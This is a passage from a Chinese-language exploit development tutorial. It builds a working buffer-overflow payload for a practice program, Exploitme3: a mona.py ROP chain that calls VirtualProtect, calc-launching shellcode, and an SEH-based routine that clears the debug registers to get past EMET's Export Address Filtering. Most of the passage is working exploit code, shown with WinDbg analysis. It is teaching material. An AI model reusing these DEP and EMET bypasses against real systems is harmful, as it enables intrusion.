      0x6f3f46a0,  # PUSHAD # RETN [MSVCR120.dll] 
      0x6f427e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)


在Exploitme3(DEP)那一章我们已经看过这个ROP链是如何工作的了,所以就不再重复了.我们还是用Exploitme3那一章中的脚本来生成name.dat文件,并根据需要做了适当修改.初始版本如下:


import struct
 
# VirtualProtect的函数原型如下:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );
 
# PUSHAD执行以后, 栈变成了这样:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))          <---------------------------- 当前 ESP
#   ESI (ptr to JMP [EAX] (EAX = 指向VirtualProtect指针的地址))
#   EBP (ptr to POP (跳过栈中的EAX))
#   ESP (lpAddress (自动))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (可写地址的指针))
#   EAX (指向VirtualProtect指针的地址)
# lpAddress:
#   指向"call esp"的指针
#   <shellcode>
 
msvcr120 = 0x6F3F0000
 
# 增量用于修正基于msvcr120.dll新的基地址的地址
md = msvcr120 - 0x6F3F0000
 
def create_rop_chain(code_size):
 
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      md + 0x6f4991cd,  # POP EBP # RETN [MSVCR120.dll] 
      md + 0x6f4991cd,  # skip 4 bytes [MSVCR120.dll]
      md + 0x6f401639,  # POP EBX # RETN [MSVCR120.dll] 
      code_size,  # code_size-> ebx
      md + 0x6f43640b,  # POP EDX # RETN [MSVCR120.dll] 
      0x00000040,  # 0x00000040-> edx
      md + 0x6f495147,  # POP ECX # RETN [MSVCR120.dll] 
      md + 0x6f4d5ef4,  # &Writable location [MSVCR120.dll]
      md + 0x6f424694,  # POP EDI # RETN [MSVCR120.dll] 
      md + 0x6f3ff607,  # RETN (ROP NOP) [MSVCR120.dll]
      md + 0x6f45c627,  # POP ESI # RETN [MSVCR120.dll] 
      md + 0x6f403a17,  # JMP [EAX] [MSVCR120.dll]
      md + 0x6f42e0f8,  # POP EAX # RETN [MSVCR120.dll] 
      md + 0x6f4d51a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      md + 0x6f3f46a0,  # PUSHAD # RETN [MSVCR120.dll] 
      md + 0x6f427e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
     
 
def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x6f3ff607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        code_size = len(shellcode)
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(code_size) + shellcode
        f.write(name)
 
write_file(r'd:\name.dat')


注意,你需要给msvcr120赋予正确的值.不要忘了运行并一直开着之前说的那个小程序,那个小程序可以防止msvcr120.dll改变基地址.那个小程序也会告诉我们msvcr120当前的基地址.




现在运行Exploitme3.exe,会弹出一个计算器!







导出函数地址表访问过滤(EAF)


我们为Exploitme3启用
EAF保护,再次运行Exploitme3.这次EMET会检测到我们的exploit,接着会关闭Exploitme3.官方关于EAF的描述是:


可以对访问导出地址表(EAT)的调用代码设置规则.


还有,在调试Exploitme3.exe之前,确保将Exploitme3.pdb(包含调试信息)放到与Exploitme3.exe相同的目录下.




我们用WinDbg(CTRL+E)打开Exploitme3,然后给main设置一个断点:





当我们按F5(运行)的时候,可以看到一个奇怪的异常:





代码如下:





单步异常是一个调试异常.这个单步异常很可能是由上一条指令产生的:





我们看看esi指向什么:





好像esi指向了kernel32的EAT! 我们可以通过以下方法来确认一下esi确实指向了导出目录(EAT的另一个名称):


0:000> !dh kernel32
 
File Type: DLL
FILE HEADER VALUES
     14C machine (i386)
       4 number of sections
50B83C89 time date stamp Fri Nov 30 12:56:41 2012
 
       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
    2102 characteristics
            Executable
            32 bit word machine
            DLL
 
OPTIONAL HEADER VALUES
     10B magic #
    9.00 linker version
   D0000 size of code
   30000 size of initialized data
       0 size of uninitialized data
   132B3 address of entry point
   10000 base of code
         ----- new -----
758d0000 image base
   10000 section alignment
   10000 file alignment
       3 subsystem (Windows CUI)
    6.01 operating system version
    6.01 image version
    6.01 subsystem version
  110000 size of image
   10000 size of headers
  11B7A6 checksum
00040000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
     140  DLL characteristics
            Dynamic base
            NX compatible
   BFA40 [    A9B1] address [size] of Export Directory      <------------------------
   CA3F4 [     1F4] address [size] of Import Directory
   F0000 [     528] address [size] of Resource Directory
       0 [       0] address [size] of Exception Directory
       0 [       0] address [size] of Security Directory
  100000 [    AD58] address [size] of Base Relocation Directory
   D0204 [      38] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
       0 [       0] address [size] of Thread Storage Directory
   83150 [      40] address [size] of Load Configuration Directory
       0 [       0] address [size] of Bound Import Directory
   10000 [     DF0] address [size] of Import Address Table Directory
       0 [       0] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory
 
 
SECTION HEADER #1
   .text name
   C0266 virtual size
   10000 virtual address
   D0000 size of raw data
   10000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
60000020 flags
         Code
         (no align specified)
         Execute Read
 
 
Debug Directories(2)
    Type       Size     Address  Pointer
    cv           26       d0240    d0240    Format: RSDS, guid, 2, wkernel32.pdb
    (    10)       4       d023c    d023c
 
SECTION HEADER #2
   .data name
    100C virtual size
   E0000 virtual address
   10000 size of raw data
   E0000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
C0000040 flags
         Initialized Data
         (no align specified)
         Read Write
 
SECTION HEADER #3
   .rsrc name
     528 virtual size
   F0000 virtual address
   10000 size of raw data
   F0000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
40000040 flags
         Initialized Data
         (no align specified)
         Read Only
 
SECTION HEADER #4
  .reloc name
    AD58 virtual size
  100000 virtual address
   10000 size of raw data
  100000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
42000040 flags
         Initialized Data
         Discardable
         (no align specified)
         Read Only



我们可以看到esi确实指向了导出目录:





产生异常的这条指令访问的是导出目录的偏移0x1C处.我们到winnt.h这个头文件中来看一看0x1C这个偏移处是什么:


typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;        //0
    DWORD   TimeDateStamp;          //4
    WORD    MajorVersion;           //8
    WORD    MinorVersion;           //0xa
    DWORD   Name;                   //0xc
    DWORD   Base;                   //0x10
    DWORD   NumberOfFunctions;      //0x14
    DWORD   NumberOfNames;          //0x18
    DWORD   AddressOfFunctions;     //0x1c    <---------------------
    DWORD   AddressOfNames;         //0x20
    DWORD   AddressOfNameOrdinals;  //0x24
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;



看过Shellcode那一章的话,应该知道AddressOfFunctions是导出函数地址表的RVA.


通过查看栈回溯,我们可以看到实际上我们位于GetProcAddress函数中:





由于这种异常我们是第一次碰到,所以它肯定是EMET弄的.好像EMET的EAF会捕捉对某些模块导出目录中的AddressOfFunctions域的访问.那它是如何做到这一点的呢?




在WinDbg中,我们可以使用ba命令,也就说利用硬件断点来实现这个功能,所以EMET肯定也是用这个方法.我们一起来看一看调试寄存器:





(如果你还不知道这个命令的话,用.hh命令查看一下帮助)


dr1的值看起来有点像:





完美匹配!




调试寄存器




老实说,这里我们并不需要了解调试寄存器的格式.很明显在我们的例子中dr0,dr1和dr2中包含了硬件断点的地址.让我们看看它们指向了哪里(我们已经看过dr1了):





前两个分别指向了ntdll和kernel32的导出目录,但是第三个看起来有些不太一样.我们一起来看一看第三个:


0:000> !dh kernelbase
 
File Type: DLL
FILE HEADER VALUES
     14C machine (i386)
       4 number of sections
50B83C8A time date stamp Fri Nov 30 12:56:42 2012
 
       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
    2102 characteristics
            Executable
            32 bit word machine
            DLL
 
OPTIONAL HEADER VALUES
     10B magic #
    9.00 linker version
   3F800 size of code
    4400 size of initialized data
       0 size of uninitialized data
    74B1 address of entry point
    1000 base of code
         ----- new -----
75880000 image base
    1000 section alignment
     200 file alignment
       3 subsystem (Windows CUI)
    6.01 operating system version
    6.01 image version
    6.01 subsystem version
   47000 size of image
     400 size of headers
   4AA27 checksum
00040000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
     140  DLL characteristics
            Dynamic base
            NX compatible
   3B830 [    4F19] address [size] of Export Directory                     <------------------
   38C8C [      28] address [size] of Import Directory
   43000 [     530] address [size] of Resource Directory
       0 [       0] address [size] of Exception Directory
       0 [       0] address [size] of Security Directory
   44000 [    25F0] address [size] of Base Relocation Directory
    1660 [      1C] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
       0 [       0] address [size] of Thread Storage Directory
    69B8 [      40] address [size] of Load Configuration Directory
       0 [       0] address [size] of Bound Import Directory
    1000 [     654] address [size] of Import Address Table Directory
       0 [       0] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory
 
 
SECTION HEADER #1
   .text name
   3F749 virtual size
    1000 virtual address
   3F800 size of raw data
     400 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
60000020 flags
         Code
         (no align specified)
         Execute Read
 
 
Debug Directories(1)
    Type       Size     Address  Pointer
    cv           28        6a00     5e00    Format: RSDS, guid, 1, wkernelbase.pdb
 
SECTION HEADER #2
   .data name
    11E8 virtual size
   41000 virtual address
     400 size of raw data
   3FC00 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
C0000040 flags
         Initialized Data
         (no align specified)
         Read Write
 
SECTION HEADER #3
   .rsrc name
     530 virtual size
   43000 virtual address
     600 size of raw data
   40000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
40000040 flags
         Initialized Data
         (no align specified)
         Read Only
 
SECTION HEADER #4
  .reloc name
    2A18 virtual size
   44000 virtual address
    2C00 size of raw data
   40600 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
42000040 flags
         Initialized Data
         Discardable
         (no align specified)
         Read Only
         
0:000> ? kernelbase + 3B830 + 1c
Evaluate expression: 1972090956 = 758bb84c         <--------------------
0:000> ? @dr2
Evaluate expression: 1972090956 = 758bb84c         <--------------------




原来是虚惊一场:dr2还是指向KERNELBASE的导出目录!


总之,为了满足我们的好奇心,我们来看一看英特尔的手册(3B).调试寄存器的格式如下:





很明显,寄存器DR0,DR1,DR2和DR3指定了断点的地址.DR6是状态寄存器,它会展现最后一次调试异常的信息,而DR7包含了4个断点的相关设置信息.如果你对具体的细节感兴趣,可以自己查看帮助手册.


还有我们需要知道的是,禁用断点,我们仅仅只能清除调试寄存器.实际上,如果你在WinDbg中加载Exploitme3.exe,接着在EMET修改调试寄存器之前查看一下它,你将会看到如下信息:







清除调试寄存器(1)


清除调试寄存器应该很容易吧?我们一起来试一试!


为了生成机器代码,我们可以在Visual Studio中写汇编代码,调试程序,打开反汇编窗口(在汇编指令上单击右键).这样我们就能将汇编代码拷贝粘贴到PyCharm中了,编辑起来就很方便了.


结果如下:


import struct
 
# VirtualProtect的函数原型如下:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );
 
# PUSHAD执行以后, 栈变成了这样:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))          <---------------------------- 当前 ESP
#   ESI (ptr to JMP [EAX] (EAX = 指向VirtualProtect指针的地址))
#   EBP (ptr to POP (跳过栈中的EAX))
#   ESP (lpAddress (自动))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (可写地址的指针))
#   EAX (指向VirtualProtect指针的地址)
# lpAddress:
#   指向"call esp"的指针
#   <shellcode>
 
msvcr120 = 0x6F3F0000
 
# 增量用于修正基于msvcr120.dll新的基地址的地址
md = msvcr120 - 0x6F3F0000
 
def create_rop_chain(code_size):
 
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      md + 0x6f4991cd,  # POP EBP # RETN [MSVCR120.dll] 
      md + 0x6f4991cd,  # skip 4 bytes [MSVCR120.dll]
      md + 0x6f401639,  # POP EBX # RETN [MSVCR120.dll] 
      code_size,  # code_size-> ebx
      md + 0x6f43640b,  # POP EDX # RETN [MSVCR120.dll] 
      0x00000040,  # 0x00000040-> edx
      md + 0x6f495147,  # POP ECX # RETN [MSVCR120.dll] 
      md + 0x6f4d5ef4,  # &Writable location [MSVCR120.dll]
      md + 0x6f424694,  # POP EDI # RETN [MSVCR120.dll] 
      md + 0x6f3ff607,  # RETN (ROP NOP) [MSVCR120.dll]
      md + 0x6f45c627,  # POP ESI # RETN [MSVCR120.dll] 
      md + 0x6f403a17,  # JMP [EAX] [MSVCR120.dll]
      md + 0x6f42e0f8,  # POP EAX # RETN [MSVCR120.dll] 
      md + 0x6f4d51a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      md + 0x6f3f46a0,  # PUSHAD # RETN [MSVCR120.dll] 
      md + 0x6f427e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
     
 
def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x6f3ff607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        disable_EAF = (
            "\x33\xC0" +     #xor    eax,eax
            "\x0F\x23\xC0" + #mov    dr0,eax
            "\x0F\x23\xC8" + #mov    dr1,eax
            "\x0F\x23\xD0" + #mov    dr2,eax
            "\x0F\x23\xD8" + #mov    dr3,eax    
            "\x0F\x23\xF0" + #mov    dr6,eax
            "\x0F\x23\xF8"   #mov    dr7,eax
        code = disable_EAF + shellcode
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
        f.write(name)
 
write_file(r'd:\name.dat')



如果我们执行Exploitme3,会看到一个大大的崩溃窗口!


我们用WinDbg打开它,按F5(运行).由于有一个单步异常,所以执行应该会停下来.我们忽略这些讨人嫌的异常,我们可以用如下命令来告诉WinDbg忽略掉first-chance(第一次机会)单步异常:





这里sse代表Single Step Exception(单步异常).


紧接着我们再次按F5,另一个异常有产生了,可以看到是我们的代码:





为什么会这样呢?这是因为我们不能在用户模式(ring 3)下修改调试寄存器.想要做到这一点的唯一办法是将这个任务委托给操作系统来做.




清除调试寄存器(2)


我在Google上查了一下”mov dr0 特权指令”,我们发现了这篇文章:


http://www.symantec.com/connect/articles/windows-anti-debug-reference


在这篇文章中,我找到一种修改调试寄存器的方法.该方法包括,定义异常处理程序,以及生成一个异常(例如:除以零).当异常产生时,Windows将调用异常处理程序,并给它传递一个指向CONTEXT(线程上下文)结构的指针作为唯一的一个参数.CONTEXT这个数据结构中包含了异常产生时寄存器组的值.在异常处理程序中可以修改CONTEXT数据结构中的值,在异常处理程序返回之后,Windows会将所做的修改应用到真正的寄存器.通过这种方式,我们就可以修改调试寄存器了.


我在这篇文章中找到的代码如下:


push offset handler
push dword ptr fs:[0]
mov fs:[0],esp
xor eax, eax
div eax ;产生异常
pop fs:[0]
add esp, 4
;继续执行
;...
handler:
mov ecx, [esp+0Ch] ;跳过 div
add dword ptr [ecx+0B8h], 2 ;跳过 div
mov dword ptr [ecx+04h], 0 ;dr0 清零
mov dword ptr [ecx+08h], 0 ;dr1 清零
mov dword ptr [ecx+0Ch], 0 ;dr2 清零
mov dword ptr [ecx+10h], 0 ;dr3 清零
mov dword ptr [ecx+14h], 0 ;dr6 清零
mov dword ptr [ecx+18h], 0 ;dr7 清零
xor eax, eax
ret



我们的C/C++代码如下:


#include <Windows.h>
#include <stdio.h>
 
int main() {
         CONTEXT context;
         printf("sizeof(context) = 0x%x\n", sizeof(context));
         printf("contextFlags offset = 0x%x\n", (int)&context.ContextFlags - (int)&context);
         printf("CONTEXT_DEBUG_REGISTERS = 0x%x\n", CONTEXT_DEBUG_REGISTERS);
         printf("EIP offset = 0x%x\n", (int)&context.Eip - (int)&context);
         printf("Dr0 offset = 0x%x\n", (int)&context.Dr0 - (int)&context);
         printf("Dr1 offset = 0x%x\n", (int)&context.Dr1 - (int)&context);
         printf("Dr2 offset = 0x%x\n", (int)&context.Dr2 - (int)&context);
         printf("Dr3 offset = 0x%x\n", (int)&context.Dr3 - (int)&context);
         printf("Dr6 offset = 0x%x\n", (int)&context.Dr6 - (int)&context);
         printf("Dr7 offset = 0x%x\n", (int)&context.Dr7 - (int)&context);
 
         _asm {
                   //  在异常处理链中添加一个异常处理程序.
                   call    here
                   here :
                   add     dword ptr[esp], 0x22       // [esp] = handler
                            push    dword ptr fs : [0]
                            mov     fs : [0], esp
 
                            // 产生异常.
                            xor     eax, eax
                            div     eax
 
                            // 恢复异常处理链.
                            pop     dword ptr fs : [0]
                            add     esp, 4
                            jmp     skip
 
                   handler :
                   mov     ecx, [esp + 0Ch]; skip div
                            add     dword ptr[ecx + 0B8h], 2               // 跳过 "div eax" 指令
                            xor     eax, eax
                            mov     dword ptr[ecx + 04h], eax              // dr0 清零
                            mov     dword ptr[ecx + 08h], 0x11223344       //仅仅为了调试!
                            mov     dword ptr[ecx + 0Ch], eax              // dr2 清零
                            mov     dword ptr[ecx + 10h], eax              // dr3 清零
                            mov     dword ptr[ecx + 14h], eax              // dr6 清零
                            mov     dword ptr[ecx + 18h], eax              // dr7 清零
                            ret
                   skip :
         }
 
         context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
         GetThreadContext(GetCurrentThread(), &context);
         if (context.Dr1 == 0x11223344)
                   printf("Everything OK!\n");
         else
                   printf("Something's wrong :(\n");
 
         return 0;
}





第一部分打印EIP和调试器寄存器的偏移,这样我们就可以验证汇编代码中的偏移量是否正确了.接下来是实际的代码了.注意,这里我为了方便调试,将dr1赋值为了0x11223344.最后,我们调用GetThreadContext,以此来确认我们的方法奏效了.


但是由于有SAFESEH,所以这个程序无法正常运行.


而且,Visual Studio会报如下警告:





我们打开工程->属性,禁用掉SAFESEH,将如下的修改应用到发布版本配置:


●  配置属性


●  链接器


●  高级


●  映像具有安全异常处理程序:否(/SAFESEH:NO)




现在这个程序应该可以正常工作了.


对于SAFESEH,我们应该不会有问题了,因为我们把该代码放到我们的shellcode中,我们的代码将位于栈中,并不在Exploitme3的映像中.


创建name.dat的Python脚本如下:


import struct
 
# VirtualProtect的函数原型如下:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );
 
# PUSHAD执行以后, 栈变成了这样:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))          <---------------------------- 当前 ESP
#   ESI (ptr to JMP [EAX] (EAX = 指向VirtualProtect指针的地址))
#   EBP (ptr to POP (跳过栈中的EAX))
#   ESP (lpAddress (自动))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (可写地址的指针))
#   EAX (指向VirtualProtect指针的地址)
# lpAddress:
#   指向"call esp"的指针
#   <shellcode>
 
msvcr120 = 0x6F3F0000
 
# 增量用于修正基于msvcr120.dll新的基地址的地址
md = msvcr120 - 0x6F3F0000
 
def create_rop_chain(code_size):
 
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      md + 0x6f4991cd,  # POP EBP # RETN [MSVCR120.dll] 
      md + 0x6f4991cd,  # skip 4 bytes [MSVCR120.dll]
      md + 0x6f401639,  # POP EBX # RETN [MSVCR120.dll] 
      code_size,  # code_size-> ebx
      md + 0x6f43640b,  # POP EDX # RETN [MSVCR120.dll] 
      0x00000040,  # 0x00000040-> edx
      md + 0x6f495147,  # POP ECX # RETN [MSVCR120.dll] 
      md + 0x6f4d5ef4,  # &Writable location [MSVCR120.dll]
      md + 0x6f424694,  # POP EDI # RETN [MSVCR120.dll] 
      md + 0x6f3ff607,  # RETN (ROP NOP) [MSVCR120.dll]
      md + 0x6f45c627,  # POP ESI # RETN [MSVCR120.dll] 
      md + 0x6f403a17,  # JMP [EAX] [MSVCR120.dll]
      md + 0x6f42e0f8,  # POP EAX # RETN [MSVCR120.dll] 
      md + 0x6f4d51a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      md + 0x6f3f46a0,  # PUSHAD # RETN [MSVCR120.dll] 
      md + 0x6f427e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
     
 
def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x6f3ff607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        disable_EAF = (
            "\xE8\x00\x00\x00\x00" +            # call  here (01191126h)    
        #here:
            "\x83\x04\x24\x22" +                # add   dword ptr [esp],22h   ; [esp] = handler
            "\x64\xFF\x35\x00\x00\x00\x00" +    # push  dword ptr fs:[0]
            "\x64\x89\x25\x00\x00\x00\x00" +    # mov   dword ptr fs:[0],esp
            "\x33\xC0" +                        # xor   eax,eax
            "\xF7\xF0" +                        # div   eax,eax
            "\x64\x8F\x05\x00\x00\x00\x00" +    # pop   dword ptr fs:[0]
            "\x83\xC4\x04" +                    # add   esp,4
            "\xEB\x24" +                        # jmp   here+46h (0119116Ch)  ;  jmp skip
        #handler:
            "\x8B\x4C\x24\x0C" +                # mov   ecx,dword ptr [esp+0Ch]
            "\x83\x81\xB8\x00\x00\x00\x02" +    # add   dword ptr [ecx+0B8h],2
            "\x33\xC0" +                        # xor   eax,eax
            "\x89\x41\x04" +                    # mov   dword ptr [ecx+4],eax
            "\x89\x41\x08" +                    # mov   dword ptr [ecx+8],eax
            "\x89\x41\x0C" +                    # mov   dword ptr [ecx+0Ch],eax
            "\x89\x41\x10" +                    # mov   dword ptr [ecx+10h],eax
            "\x89\x41\x14" +                    # mov   dword ptr [ecx+14h],eax
